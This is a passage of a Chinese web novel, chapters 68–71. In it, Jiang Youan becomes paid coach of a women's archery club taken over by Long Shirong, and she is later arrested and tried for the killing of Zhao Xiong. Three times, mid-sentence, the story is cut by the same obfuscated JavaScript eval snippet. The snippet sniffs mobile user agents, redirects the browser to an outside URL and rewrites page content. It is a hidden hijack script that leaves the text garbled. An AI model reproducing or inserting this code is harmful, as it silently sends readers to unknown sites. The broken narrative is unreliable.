“没有,只收拾了门口那两个房间和厨房、厕所,再有就是粉刷了墙面,维修了垮塌的地方。”龙世蓉说道。 许家莺看着靠近主屋的两个花圃里立着的靶子,向龙世蓉问道:“我们就在这游廊上射箭?” 龙世蓉点了点头,笑着问道:“这样是不是比你在路边风吹日晒要强得多?” “嗯,这样太好了,我也觉得在路边射箭不太妥,可惜,今天没有带弓箭来。”许家莺兴奋地说道。 “这么大的场地给姜佑安的弓箭社用,你要收多少钱?”袁竹问道。 姜佑安还没想到要给钱的事,经袁竹一提醒,她满脸沮丧,“我要是有钱租这么大的场地,哪里会等到今天还在路边射箭。” “我自己家的东西,不用给钱。”龙世蓉说道。 “真的?龙姑娘,你真是太好了!”姜佑安激动地抓住了龙世蓉的手。 “不但场地不用你给钱,我还要给你钱呢。”龙世蓉笑着说道。 “你还给她钱?怎么会有这种好事?”袁竹表示不能相信。 龙世蓉微微一笑,对姜佑安说道:“只要姜姑娘让出社长的位置,让我来当这个社长。” 68. 社长 姜佑安一愣,“你想当社长?” “我会聘请你当教头,按月给你发工钱。”龙世蓉得意地挑了挑眉,“怎么样?我出钱、出场地,包揽弓箭社需要的所有东西,还为弓箭社聘请教头,没有人比我更适合当社长了吧。” “我这个弓箭社,要什么没什么,你怎么会想要当社长?”姜佑安疑惑地问道。 “在你手里,是要什么没什么,在我手里,我就能把它发展壮大。”龙世蓉说道。 袁竹听了也不大理解,“女子弓箭社也能发展壮大?龙姑娘难道认识很多想学射箭的女人?” 龙世蓉显得胸有成竹,“这个你们就不用管了,我自有办法。” “这个社长,你想当就当吧。”姜佑安觉得无所谓,反正弓箭社只是她一时兴起创办的,自己不当社长也没什么,当了教头也一样教女人射箭,还不用承担弓箭社的费用,“正好我嫌这个弓箭社里没有男人,你们办吧,我再去找别的乐子。” “姜娘子,我还能参加吗?”李初五有些担心地问道。 “当然能。”龙世蓉抢先答道,“等我招了其他社员来,你就是我们女子弓箭社的大前辈,我还指望你带着她们练习呢。” 李初五高兴地点点头,“龙娘子要我做什么,我就做什么。” “我也要参加!”阮晨烟兴奋地凑过来。 “行啊,想参加的都可以参加。”龙世蓉笑着说道。 阮晨烟过去拉着阮荷的手,“姐姐,你也来参加吧。” 阮荷有些犹豫,“我还要读书,你跟初五一起来吧。” 许家莺也走到阮荷身边,微笑着劝道:“阮姑娘,整日读书多无聊啊,这里离你家这么近,你有空了就过来,有事还可以随时回去,大家在这里一起射箭,一起说说话,多好啊。” “多谢你的好意,我会考虑的。”阮荷微笑着说道。 龙世蓉拿出两个钥匙来,递给姜佑安,“这一阵子,我先去招收社员,这钥匙你拿着,初五她们要训练,你就带她们来这里,这个大钥匙,是院门的,这两个小点儿的,是门房和院门内右边那个房间的,里面有弓箭有靶子,还有桌椅可以歇息。” 姜佑安接过了钥匙,“我们只见过三次面,你也太信得过我了吧。” “除了那个歇息的房间,能用的只有厨房和厕所,其他房门都上了锁,社员在这里练习,你必须在这里盯着,要是其他房间的锁被破坏了,我就找你负责。”龙世蓉说道。 “还得给你看着东西?我可不是你家的下人。”姜佑安不满的说道。 “你教射箭的时候,顺便看着不就行了,我和家莺基本上两三天来一趟,其他时间开不开,随你心情,我每个月给你开三两银子,怎么样?”龙世蓉说道。 “三两太少了,怎么说也得十两才行。”姜佑安学着袁竹的样子讨价还价。 龙世蓉不肯松口,“一个月三两,不比你卖花挣得多?这里离得还近,不用风吹日晒的,你想想,是在路边教射箭,可以一个铜板都挣不到的。” “以前我是社长,挣不挣钱无所谓,现在我可是教头,你去锦标社打听打听,他们社长黎千秋都是我的手下败将,请我这么厉害的教头,当然要多掏点儿钱。”姜佑安毫不谦虚地夸耀道。 龙世蓉笑了笑,“这倒是我忽略了,姜教头这么厉害,我给你涨到一个月五两,怎么样?” 袁竹怕姜佑安继续坚持,会失去了这个难得的机会,忙怼了怼姜佑安的胳膊,姜佑安会意,点头应道:“行,看在龙社长这么信任我的份上,五两就五两。” “好!就这么说定了,我跟家莺先回去了,你们想练习就在这里练吧,走时别忘了把院门关上。”龙世蓉说完,向众人告了别,同许家莺一起出去了,在众人的目光中上了马车,往县里驶去。 袁竹非常高兴地拍了拍姜佑安的胳膊,“太好了!你有工钱拿了,一个月五两呢!真是不少。” “比你卖花挣得还多吧!”姜佑安很是得意,“明天你买些肉回来,咱们庆祝庆祝。” “行啊,就听你的。”袁竹笑着应道。 李初五和阮晨烟拉着阮荷进了院子,东瞧瞧西看看,兴奋地跑来跑去。 只有李长风站在姜佑安身边,像是有些忧心的样子。 “长风,你怎么了?怎么不进去跟她们一起玩儿?”袁竹问道。 “那个人欺负姜姐姐。”李长风说道。 “她给了我们场地练箭,还每个月给我发工钱,哪里欺负我了?”姜佑安问道。 李长风皱起眉头,“她把你当下人,要你给她看家。” 姜佑安听了哈哈一笑,“长风,你不觉得她和以前的我很像吗?有些蛮横,有些无礼,我一看到她的行事作风,就想起咱们在京城的日子。” 李长风无法反驳,只说道:“她不该使唤你。” 姜佑安笑得更开心了,“她给钱,我做事,这很正常,我觉得她并没有恶意,你要说使唤,袁竹不也经常使唤我吗?” “不一样,袁姐姐是家人,她是外人,是陌生人。”李长风说道。 “现在我们都是普通人,再也不能像从前一样了,我接受了这种生活,你也要接受,凭本事挣钱吃饭,没什么不好。”姜佑安弯下身子,摸了摸李长风的脑袋,“我唯一的遗憾就是没能撕毁你的卖身契,放你自由。” “我不需要自由,我只想待在姜姐姐身边。”李长风说道。 姜佑安扬起嘴角,轻轻笑着,“傻孩子,人都是需要自由的,想走就能走,才不会痛苦,我已经为了自己出走了,哪天你想走了,只需要跟我们好好告别就行。” 李长风摇了摇头,“我不走,我喜欢这里,我们大家都是一家人,永远在一起。” “就算哪天你离开了,我们也依旧是一家人,随时欢迎你回来。”姜佑安认真地说道。 李长风心中生出了被抛弃的恐惧,“我不走!” “不走就不走吧,赶明儿长风长大了,可以在咱们家旁边盖一所房子,娶媳妇成家,咱们做邻居不也挺好?”袁竹笑着说道。 “那也行。”姜佑安附和道。 李初五和阮晨烟在里面玩够了,和阮晨烟一起走了出来,姜佑安关上大门落了锁,“快中午了,先回去吧,下午咱们再过来练箭。” “嗯。”“好。”李初五和阮晨烟积极响应着,跟着姜佑安往回走。 走到村口时,李初五跟大家告别,往村里走了,姜佑安突然想起了什么,快步追了过去,“初五!” 李初五停下脚步,“怎么了?姜娘子,还有什么事吗?” “最近黎泱泱来找过你吗?”姜佑安问道。 “没有。”李初五答道。 “之前他来找你,只是来跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085396|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一起射箭吗?”姜佑安又问道。 “对啊。”李初五点了点头,“射箭累了,我们也会坐下来说说话。” “他都跟你说了什么?”姜佑安接着问道。 “他问我为什么会跟你学射箭,问你跟谁学的射箭,还问你的弓箭是哪来的。”李初五想了想,“他还问我认不认识一个姓赵的人。” 姜佑安眉头一皱,“姓赵的?赵雄?” “好像是叫这个名字,我说我没听过,他就没再问了。”李初五说道。 “他还说了什么?”姜佑安问道。 李初五努力回忆着,“其他的就没说什么了,也就说说小鸡崽啊、兔子之类的,我特别喜欢阮姐姐的兔子,他说他也很喜欢,以后他也要养一只。” 姜佑安点了点头,“我知道了,你回去吧,下午再来找我,咱们一块去练箭。” “嗯。”李初五高兴地应了一声,蹦蹦跳跳地往家去了。 袁竹、阮荷、阮晨烟和李长风都在路口等着她,见她折返回来,问她跟李初五说了什么,几个人说着话,回到了家。 吃过午饭,袁竹带着李长风去了田里干活,姜佑安和阮荷在厨房刷碗,姜佑安又问起了黎泱泱的事。 “小阮,那个黎公子,和你说过话吗?”姜佑安问道。 “没有啊。”阮荷看向姜佑安,“你怎么会问起这个?黎公子出了什么事吗?” “那倒没有,我听初五说,黎泱泱对你养的兔子很感兴趣,还以为他有来找过你看兔子。” “我见他站在院门口往里看过,不过,他并没有进来,倒是初五特别喜欢来看兔子。”阮荷说道。 姜佑安笑了,“是啊,初五一直很喜欢那只兔子,有一段时间还缠着她娘要买一只。” 阮荷把洗干净的碗沥了水,放进了碗柜里,向姜佑安笑着说道:“她也跟我说过,她还想自己上山去打呢,我说上山打猎可不是件容易的事,佑安姐姐一整个冬天也只打到了两只兔子,还有一只野鸡。” 姜佑安想了想,“我冬天是打到了两只兔子,并没有打到野□□?” “有啊,就是打到咱们家这只兔子的那天,你不是说有一只野鸡被射中,带着箭飞跑了吗?”阮荷说道。 “哦,是那天。”姜佑安点了点头,“野鸡的事你也跟初五说了?” “说了,我说佑安姐姐这么厉害,都很难打到,劝她不要再有上山打猎的想法了。”阮荷说道。 “嗯,你说得对,山里对小孩子来说太危险了,不能让她去打猎。”姜佑安说道。 山脚下的宅院门口,原本破败得牌匾被摘了下去,换上了一个崭新的匾额,上面规整地写着“女子弓箭社”五个字,李初五在村里又招来了几个女孩子,姜佑安领着她们进进出出,院门外静悄悄的,一点儿也听不到里面的动静。 这天,姜佑安在宅院里教射箭,戴庭芳在袁家教书,程祥一个人去找姜佑安,把她叫了出来。 “我听说你的弓箭社,变成龙小姐的了?”程祥问道。 “是啊,她出钱,我出力,也挺好。”姜佑安无所谓地说道。 “她怕是在拿你当枪使吧。”程祥忧心忡忡地说道:“她在县里到处跟人宣扬,说她办了个女子弓箭社,聘请的姜教头,打败了锦标社的黎社长,黎千秋那个人,看起来不是个大度的人,你小心他来找你的麻烦。” 69. 忌恨 “我赢了黎千秋是事实,那么多人都看见了,他没法抵赖,不过,他确实想要找我的麻烦,才派了他儿子来接近我,黎泱泱一直在打听赵雄的事,恐怕他们是想利用这件事,让我吃些苦头。”姜佑安说道。 “赵雄都死了这么久了,还能翻出什么花来?”程祥说道。 “谁知道呢。”姜佑安看向不远处的村子,“最近黎泱泱没再来过,不知道是在打什么主意。” “龙小姐在县里这么闹,只怕会让黎千秋更加生气,你要不要先去别的地方避避风头?”程祥说道。 姜佑安笑了笑,“我记得那天捕快来找我的时候,你就想让我逃走,你怎么不问问我,赵雄是不是我杀的?” “赵雄祸害乡里,没有人能治得了他,如果真是你杀了他,那也只是为民除害,像他这样的人,不值得任何人为他偿命,反正官府没有要管的意思,你逃走了,正好让这个案子死无对证。”程祥说道。 “戴公子要是能像你这样想就好了。”姜佑安感叹道。 程祥垂下眼帘,“公子有他的坚持,我不好说什么。” “我也不是在怪他,正直有正直的好处。”姜佑安说道。 “也许正是因为公子的坚持,才难以在官场立足。”程祥说道。 “他有他的坚持,我有我的选择,各自走着看吧。”姜佑安转身向院门走去,“我还得进去看着点儿,你也回去吧。” “你小心些,不要让龙小姐再拿你出去宣扬了。”程祥冲着姜佑安的背影说道。 “知道了,多谢。”姜佑安进去关上了院门。 过了几日,龙世蓉和许家莺乘着两辆马车,带着七八个女孩子来到弓箭社,说是在县里招到的社员,一见了姜佑安,就跟她们介绍,这位就是打败了黎老板的姜教头。 众人表示久闻大名,龙世蓉又让姜佑安射箭给她们看看实力,姜佑安没有拒绝,最近在这里练得固定靶,已经是百发百中了,她随意地拿起弓一射,就正中靶心。 围观的姑娘们欢呼起来,纷纷表示要加入弓箭社,和姜教头学射箭。 龙世蓉非常高兴,让丫鬟方韵拿了本子来,给大家一一登记了,然后发了弓箭和皮指套,由姜佑安演示了射箭姿势,讲授了注意要点,大家系上了攀膊,便一个个开始实操起来。 第一次摸弓箭,大多都射不中靶子,一些人顿时生了退缩之心。 龙世蓉安慰说,能把箭射出去就是好的,慢慢练就是了,于是大家嘻嘻哈哈笑闹着,玩了起来,只有一个叫周帛的姑娘格外认真,站在走廊上,一箭接一箭地向靶子射出。 她们玩闹也好,练习也好,龙世蓉和姜佑安都由着她们,两人站在走廊一角,说着闲话。 “听说你在县里大肆宣扬我打败了黎千秋?”姜佑安说道。 “你听谁说的?”龙世蓉反问道。 “你说得多了,自然就传到我的耳朵里了,你还用知道是谁吗?”姜佑安说道。 龙世蓉勾唇轻笑,“那倒不用,我说了这些天,也不见锦标社的人出来反驳,可知你说的都是真的,我每个月五两的银子,没有白花。” “那个黎千秋可不是什么正人君子,你这样跟他对着干,不怕他蓄意报复?”姜佑安问道。 “我是生意人,他也是,跟我龙家作对,对他没什么好处,他输给你,是他自己技不如人,没理由怪到我们头上。”龙世蓉说道。 姜佑安摇了摇头,“你这是一般人的想法,他若是只想出一口恶气,不惜做一回恶人呢。” “这宅子是我家的,社员也是我招来的,他能怎么办?有气他也只能忍了。”龙世蓉不屑地说道。 “最好是如此。”姜佑安说道。 龙世蓉拍了拍姜佑安的肩膀,宽慰道:“弓箭社现在是我的,就算他要找茬,也找不到你身上,你就别操这个闲心了。” 姜佑安越看龙世蓉,越觉得她和在京城时的自己很相像,不由得笑了出来。 “你笑什么?”龙世蓉奇怪地问道。 “我笑你小小年纪,说的话这么成熟老道,看起来挺可靠的。”姜佑安说道。 龙世蓉也笑了,“我就当你是在夸我吧,我要是不可靠,以后我的家的生意可就危险了。” “你有生意可做,平时也不会无聊,为什么还想办弓箭社?”姜佑安问道。 “不为什么,只因为我喜欢。”龙世蓉坦然说道。 天气越来越炎热,这些姑娘们参加弓箭社的热情不减,有小部分人来过一两次就不来了,但弓箭社仍然慢慢壮大起来,龙世蓉果然有办法。 有时候天气凉爽,龙世蓉还会在院子里举办比赛,总是许家莺、李初五和周帛三个人轮流取胜,她这个社长一次都没有赢过,不过,龙世蓉还是开心地给她们颁发了奖品。 姜佑安也想参加,龙世蓉坚决不许,说她参加对其他人不公平,她只好在一旁眼馋别人的奖品。 日子一天天过去,木槿和紫薇都很繁盛,田里和花盆里的虞美人也含苞待放,袁竹把花盆搬上车,推着板车去县里卖花,姜佑安拿着龙世蓉开的工钱好好教人射箭、看守院子,阮晨烟有时帮袁竹卖花,有时去院里射箭。 戴庭芳依旧是隔日来一趟,阮荷进步飞速,千字文、百家姓已经学完,三字经也已经学完了一半了,李长风日日在旁伴读,袁竹不让他去卖花,也不让他去弓箭社,要他好好守在阮荷身边。倒是杨恩最近得了空,天天和袁竹一起去卖花。 虞美人花期过后,袁家院子里空了一半,只剩下用花盆养着的菊花,一簇簇菊花叶子长得极为茂盛,一进到院子里,就能闻到浓重的菊花草叶的气味。 盛夏过去,天气逐渐转凉,菊花渐渐长了花苞,花苞慢慢膨大,显出些许颜色来。 秋收时节,县里县外的人都格外忙碌,来参加弓箭社的人变少了,龙世蓉索性让大家都休息一阵子,等秋收过后,再开门。 姜佑安锁上了大门,回袁家去了,院子里袁竹正在给菊花浇水。 “回来了。”袁竹直起身来,跟姜佑安打招呼。 “回来了,最近大家都很忙,来参加弓箭社的人都变少了,龙社长说要休息一阵,正好给我放个假。”姜佑安说着,来到菊花跟前。 “本来她们参加弓箭社也就是射着玩儿的,如今有了正事,只能先放到一边了。”袁竹弯腰往花盆里倒着水,“也就是龙姑娘钱多了没地方花,才会想要办这个弓箭社。” “有个兴趣爱好,生活就有趣许多,我觉得龙社长是真的喜欢射箭。”姜佑安说道。 “有钱人的想法,我不懂。”袁竹说道。 “不说有钱人,一般人也有自己的兴趣爱好吧,阮荷喜欢写字,长风喜欢练拳,我喜欢射箭。” 姜佑安笑着向袁竹问道:“你喜欢什么?” “我?”袁竹认真想了想,继续舀水浇花,“我喜欢种花。” “种花也能算爱好?”姜佑安不太同意。 “怎么不算?”袁竹反问道。 “爱好得是能让人感到轻松愉快的。干活怎么能算是爱好?要说爱好,应该是赏花吧。”姜佑安说道。 “种花是为了花开,看着它们长叶、开花,我就觉得轻松愉快,而且,我看你们射箭、写字、练拳,也不都是轻松愉快的吧。”袁竹说道。 姜佑安一想,觉得她说得也有理,“好吧,那就算种花是爱好吧。” “我以前在婆家的时候,丈夫生病,常年躺在床上,我又有干不完的活,总觉得这日子没什么盼头,不如死了算了,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093578|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候院子里就有几棵菊花,看看它们长得越来越好,总想着看看它们开的花,看着花开得那么好,我就不想死了。”袁竹一遍浇水一边说道。 “对啊,还是活着好,可以看到那么多花开。”阮荷凑过来附和道。 李长风也来到菊花前,蹲下来看着眼前的花苞,越看越觉得奇怪,“这棵花是不是生病了?” 姜佑安俯身看过去,“好像是,花瓣有点不对劲。” 袁竹放下水瓢,走了过来,仔细看了看,“也许是杂交了吧,这些花苗是用我去年收集的种子种出来的,有些长得奇怪的,也正常,等长出来再看看,要是卖不出去,就拔掉。” 姜佑安看着那上黄下白的花瓣,想起以前见过类似的,顿时兴奋起来,“这可能是个稀有的品种,我以前在我朋友的叔叔家见过差不多的,他那一棵还是五十两买回来的呢。” “五十两?”阮荷震惊地瞪大了眼睛,“就这么一棵菊花,能卖那么多钱?” 姜佑安笑了笑,“在普通人眼里,肯定是不值的,但有些富贵人家,是特别爱花的,又喜欢收集些稀有的品种跟人炫耀,卖得再贵也不稀奇。” “像你朋友的叔叔那么爱花的,咱们县里可不好找。”袁竹说道。 “这花先留着别卖,我问问龙世蓉买不买。”姜佑安说道。 “你拿着她发的工钱,还想敲她一笔?”袁竹问道。 姜佑安撇了撇嘴,“你说话怎么这么难听,我可不是敲竹杠,像这样稀有的品种,你很可能再也种不出第二棵一样的,这可是世间独一无二的,多少人想要都没处买。” 袁竹浇完了花,拎着桶从菊花丛中走出来,“你不是说你朋友的叔叔家就有吗?再说了,有一棵,剪了枝条扦插起来,就能有很多棵,怎么可能独一无二。” “只是看着像而已,而且他的那棵已经病死了,扦插的小苗一棵都没活下来,我们家里的这棵,就是独一无二的。”姜佑安说道。 “这还有一棵差不多的。”李长风指着不远处的另一棵菊花说道。 袁竹看了看,笑道:“我看这样的菊花挺常见的,说不定还不如纯色的好看,肯定卖不出什么好价钱。” 姜佑安也有些怀疑,难道黄白杂色不是什么稀有品种?但她嘴上依然坚持,“这两盆都先别卖,我另有用处。” “好,留给你了。”袁竹拎着桶进了厨房。 阮荷和李长风对菊花都不是很上心,只有姜佑安自从发现那两盆杂色的菊花后,常过去盯着看,戴庭芳和程祥来的时候,她总是去看看菊花,再去看看戴庭芳,期待花开和看美男,真是人生两大乐事,让她满足不已。 这天,戴庭芳和程祥一进门,就看见姜佑安蹲在菊花边,两人也凑过去看看。 姜佑安身前的两盆菊花和其他的菊花不同,白色花瓣已经展开了一半,能清楚地看到最外层的花瓣边缘有一截黄色。 “这是什么品种的菊花?”戴庭芳看着这从没见过的菊花,好奇地问道。 姜佑安听见是戴庭芳的声音,她没有回头,看着花说道:“这花要是全开了,估计会有一圈黄色,我给它取名叫金镯卧雪,戴公子觉得怎么样?” 戴庭芳想象着花开的样子,微笑道:“很好听,也很贴切。” 姜佑安站起身来,“这花可是稀有品种,戴公子要不要买一盆?” “好啊,这一盆多少钱?”戴庭芳问道。 “不贵,五十两。”姜佑安笑着说道。 程祥差点儿惊掉了下巴,“五十两!五十两还不贵?!” 姜佑安不禁哈哈大笑,这时,一群捕快闯进了院子,为首的是曾景阳,他走到姜佑安面前,拿出一份逮捕文书来,“姜佑安,你涉嫌杀害赵雄,跟我们去县衙走一趟。” 70. 被捕 阮荷从屋里跑出来,抓住了姜佑安的胳膊,偏巧今天杨恩有事,袁竹和李长风一起卖花去了,家里只剩她和姜佑安,她害怕得声音直发抖,“佑安姐姐没杀人,你们不要抓她。” “杀没杀人,知县大人自有定论,带走!”曾景阳一声令下,其他的捕快就要上前捉人。 “等一下!”戴庭芳拦在姜佑安身前,“赵雄的事都过去那么久了,怎么现在才要抓人?” “赵雄的母亲到县衙鸣冤叫屈,知县大人听说了,决定重启此案的调查,请你们配合。”曾景阳向屋内看了看,“不要阻拦我们办案。” “你不用担心,李长风不在,我跟你们去一趟就是了。”姜佑安平静地说道。 程祥一把抓住姜佑安的胳膊,满脸的担心,“县衙可不是什么好去处,进了大牢,不死都要脱层皮。” “是吗?”姜佑安推开程祥的手,冲他眨了眨眼,“正好我没去过,等我去验证一下,你说的是不是真的。” “把她手捆上!”曾景阳命令道。 两个捕快走过来,帮上了姜佑安的手,拉着绳子,把她牵了出去,曾景阳去屋里取出了姜佑安的弓箭,其他人也都跟着他出了院子。 阮荷追出去,又不知该如何是好,哭着向戴庭芳问道:“表哥,这可怎么办啊?” “你先别急,我跟他们一起走,你在家里守着,有消息了,我会让程祥过来告诉你。”戴庭芳说完,忙带着程祥一块走了。 路边田里有不少人在忙碌着,见一群捕快走过,都纷纷停下手里的活,看向被捕快逮捕的人。 姜佑安并不在意那些好奇的目光,她正为自己的牢狱之灾而忧心,她当然知道县衙大牢不是什么好去处,但曾景阳为了抓她,带了这么多捕快来,就算李长风在,也不一定能抵抗得过,还是先跟他们回去再说。 姜佑安回头向袁家看去,意外地发现戴庭芳和程祥跟在后面,她扬声道:“戴公子,你怎么这么早就要回去啊?” 戴庭芳快走两步追上去,“赵雄不是你杀的吧。” 姜佑安笑了笑,“当然不是。” “那就好,我会让我爹帮忙想办法的,你一定要撑住。”戴庭芳说道。 “戴公子,你帮我跟龙世蓉捎个话,就说我被黎千秋诬陷入狱,看她有没有办法解救我。”姜佑安说道。 曾景阳看着姜佑安的脸,“你怎么知道是黎千秋诬陷你?他跟你有仇?” “你忘了,我不是跟你告发过锦标社赌博的事吗?他正是因为此事而怨恨我。”姜佑安说道。 “是那件事。”曾景阳眉头一皱,“这么说来,是黎千秋在挟私报复?” “恐怕还有我在锦标社里射箭,赢了黎千秋的事,引起了他的忌恨。”姜佑安说道。 “你打败了黎千秋?真的假的?”曾景阳吃惊地问道。 姜佑安颇有些得意,“要是假的,他就不会这么生气了。” 程祥走到了曾景阳的身边,急切地说道:“曾捕快,你已经知道了事情的原委,能不能帮帮忙,还姜姑娘的清白。” “如今是知县大人亲自过问此事,就算她咬死了不认,恐怕也不好脱身了。”曾景阳说道。 程祥愈加着急,“这可怎么办是好?就让他们这样冤枉姜姑娘?” “冤不冤枉的,还说不定吧,就算黎千秋是挟私报复,也不能洗脱姜佑安身上的嫌疑。”曾景阳看向戴庭芳,“最先跟我说姜佑安有杀人嫌疑的,正是戴公子,怎么今天戴公子却想为她开脱?” 戴庭芳眉头紧皱,“我从没说过姜姑娘有杀人的嫌疑,我只是把那天发生的事,据实告诉了你而已。” “是,多亏戴公子的如实相告,才让我查到了真凶。”曾景阳说道。 “曾捕快,万一姜姑娘被定罪,会有什么下场?”程祥问道。 “杀人偿命,应该会被处决。”曾景阳毫不犹豫地说道。 “赵雄是个危害乡里的恶人,知县大人不能因此而轻放吗?”程祥追问道。 “赵雄只是抢劫,罪不至死,最近我常见黎千秋出入县衙,说不定不但不会轻轻放过,还会重罚,秋后处斩也不是不可能。”曾景阳说道。 “秋后处斩?”程祥有如被人当头一棒,锤得脑子发懵。 “你吓唬他做什么?”姜佑安抱怨道。 “我说的都是实话,并没有吓唬人。”曾景阳说道:“我们是奉命抓人,两位就别干扰我们办案了。” 进了城门,曾景阳就不许戴庭芳和程祥再跟着,驱赶了两人,带着一众人等进了县衙。 进了县衙大门,捕快们便各自散去了,余下曾景阳一人带着姜佑安又进了仪门旁的小门,姜佑安见东西两边各有三间房,曾景阳带着她绕到左边房后,来到了刑讯室。 刑讯室里一侧有一张桌子四条长凳,桌上放着一套茶具,一个书吏正坐在那里整理文书,另一侧摆放着各种刑具,墙上挂着铁链和锁枷,空气里弥漫着一股腥气,着实阴森可怖。 曾景阳把姜佑安牵到桌子前,向那个文吏说道:“赵雄被杀一案的嫌疑人姜佑安被我抓回来了,你要问什么,尽管问吧。” 文吏抬头看了姜佑安一眼,低头把赵雄一案的文书找出来,细细看了看,才沉声问道:“赵雄是你杀的吗?” “不是。”姜佑安答道。 文吏依旧低头看着文书,“他身上发现的箭头,是李家村的木匠给你打造的,你作何解释?” “我上山打猎时,弄丢了几支箭,可能是被别人捡去了。”姜佑安说道。 “你的箭都是哪天丢的?”文吏问道。 “时间太久,我记不清了。”姜佑安说道。 “你最好是能想起来。”文吏抬头看着姜佑安,仿佛要看穿她的内心,“你还有什么要补充的吗?” “赵雄死的那天,我上山打猎去了,没有去过赵家村。”姜佑安说道。 文吏看向曾景阳,“还都是先前那些内容,她什么都不认,你要用刑吗?” “这个案子知县大人要亲自审,暂且关押,等大人提审吧。”曾景阳说道。 “行,那就等大人提审再说吧。”文吏拿着整理好的文书,出了刑讯房。 曾景阳拉着绳子,依旧从仪门右侧的小门出来,到了一排牢房门口,他带着姜佑安进了其中一间,打开栅栏门,给她松了绳索,关上了门。 临走前,曾景阳又劝道:“刚才在刑房你也都看见了,等知县大人提审的时候,你要是还不老实招供,那些刑具可就要招呼在你身上了,你好好掂量掂量,是要皮开肉绽之后再招供,还是直接交代。” 姜佑安紧抿着嘴唇,一言不发。 曾景阳走后,牢房的大门关上了,姜佑安环视四周,见这里光线昏暗,墙上仅有两个小窗户,外面是阳光明媚,里面却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104859|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴暗潮湿,一股霉味充斥着她的鼻腔。 慢慢适应之后,姜佑安的眼前慢慢清晰,这小小的牢房里用木栅栏分割成了五间,每间的活动范围都很窄小,其中两间的在空着,另两间各有一个女人蹲坐在角落里,小心地观察着她。 姜佑安转过身,见地上稀薄的稻草上放着一个草席,草席上有一床破旧的被子,她走过去在席上坐了,思考着对策。 黎泱泱果然把赵雄的事告诉了黎千秋,曾景阳说最近黎千秋经常出入县衙,肯定是和县官相互勾结,要利用此事,定她个死罪,那些残酷的刑法她根本受不住,就算咬紧了牙关不认罪,也可能会被折磨死,认罪是个死,不认罪也是个死,这可如何是好? 袁竹要是知道了,肯定会很着急,不过也只能干着急,无权无势的人,连知县的面都见不到,戴庭芳说会去求他爹,可戴克政不喜欢自己,未必会帮这个忙,程祥应该会按照自己说的,去通知龙世蓉吧,只是不知道龙家和知县的关系如何,龙世蓉的父母会不会为了女儿来搭救自己。 怎么办?只能靠别人来救了吗?要是亮明自己公主的身份,赵雄一个地痞无赖根本不算什么,可是,她没有任何信物能证明自己是公主,倘若知县不信,再加一个冒充公主的罪名,说不定会被立刻处死,这太冒险了些。 要是认了罪,被判秋后处决,恐怕就不好翻案了,如今只能不认罪,让案子一时不能结案,说不定还会有转机。 打定了主意,姜佑安在牢房里默默等着被提审,时间不知道过了多久,她觉得肚子饿了,牢门打开,有狱卒送了吃食进来,是半碗豆饭和半碗菜汤。 姜佑安尝了一口汤,寡淡无味,只吃了一口豆饭,就放下了,狱卒来收碗时,骂她浪费粮食,说下次再剩下,就不给她送饭了,姜佑安没有理他,开始想念阮荷做的饭菜。 不知又过了多久,曾景阳终于来提她了,这次没有用绳索,只告诉她知县大人提审,就把她一路领到了大堂外。 “大人,嫌犯姜佑安带到。”曾景阳向内报告道。 “带她进来!”堂内传来知县威严的声音。 “是。”曾景阳把姜佑安带到堂下,便退到了一边。 姜佑安站在大堂内,看两侧站着两班衙役,正前方的大方桌后面端坐着知县贾濂,贾濂身旁站立一人,身后是一架木屏风,上面绘着一副山水画,头顶上方挂着一副匾额,上写“明镜高悬”四个大字,大堂右前方有一小桌,一人坐在桌后,正持笔记录。 “你就是姜佑安?”贾濂问道。 “正是。”姜佑安抬头看着贾濂,不卑不亢地答道。 贾濂拿起手上的文书,“这上面说你曾与郭英商量要杀了赵雄,可有此事?” “确有此事,但我们只是说说,并没有施行。”姜佑安说道。 “传郭英上堂问话!”贾濂扬声道。 姜佑安回头,果然看到郭英跟着一个捕快走了进来,她紧盯着郭英的脸,心生感慨,自从上次吵架以来,真是很久没见到她了。 郭英却并不看她,向贾濂作揖行礼,“民女郭英,拜见知县大人。” “免礼。”贾濂依旧板着脸,“姜佑安曾与你商量要杀死赵雄,可有此事?” 郭英直起身来,“有,不过,姜佑安当天临时变卦,没有到赵雄家里来,我没有等到她,就自己单独行动,把赵雄从家里骗到河边,杀死了他。” 71. 堂审 贾濂眉头一皱,“你是说,赵雄是你杀的?” 郭英点了点头,坦然道:“是我杀的。” 贾濂和身旁的县丞对视了一眼,县丞唐思恭向郭英问道:“你是如何杀死赵雄的?” 姜佑安完全没想到郭英会这样说,她赶忙上前一步,扬声道:“知县大人!赵雄是我杀的!” “是我杀的!”郭英也提高了声音。 